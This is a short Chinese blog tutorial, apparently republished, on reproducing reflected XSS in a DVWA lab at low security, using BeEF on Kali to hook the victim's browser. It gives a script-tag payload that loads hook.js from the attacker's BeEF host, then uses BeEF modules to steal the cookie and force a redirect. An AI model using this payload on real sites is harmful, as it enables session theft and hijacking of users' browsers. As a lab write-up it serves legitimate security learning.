DVWA靶场+BEEFxss平台复现XSS脚本攻击（获取cookie，跳转指定网页）_dvwa靶场xss漏洞复现

作者：知新_RL | 2024-02-27 04:45:26

踩

dvwa靶场xss漏洞复现

前提条件

1.kali搭建安装好beef

2.win10搭建好dvwa靶场

kali内启动beef

Kali的浏览器内访问127.0.0.1:3000打开beef的本地界面

启动dvwa靶场，调整安全等级为low

查看钩子文件地址，可以理解为一个webshell，beef用来连接和控制用户浏览器的，只要用户访问这个beef的hook.js文件，beef就可以自动与用户浏览器建立连接

点击反射型xss页面,输入访问hook.js文件的payload，IP换成自己的beef所在主机的IP

<script src="http://192.168.80.145:3000/hook.js"></script>

点击提交，查看beef已经建立连接

点击功能模块，获取cookie

网页内查看cookie，与获取的cookie相同，获取cookie成功

点击重定向模块，输入要跳转的网址，点击执行

返回靶场页面发现已成功跳转至指定页面。

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/知新_RL/article/detail/150127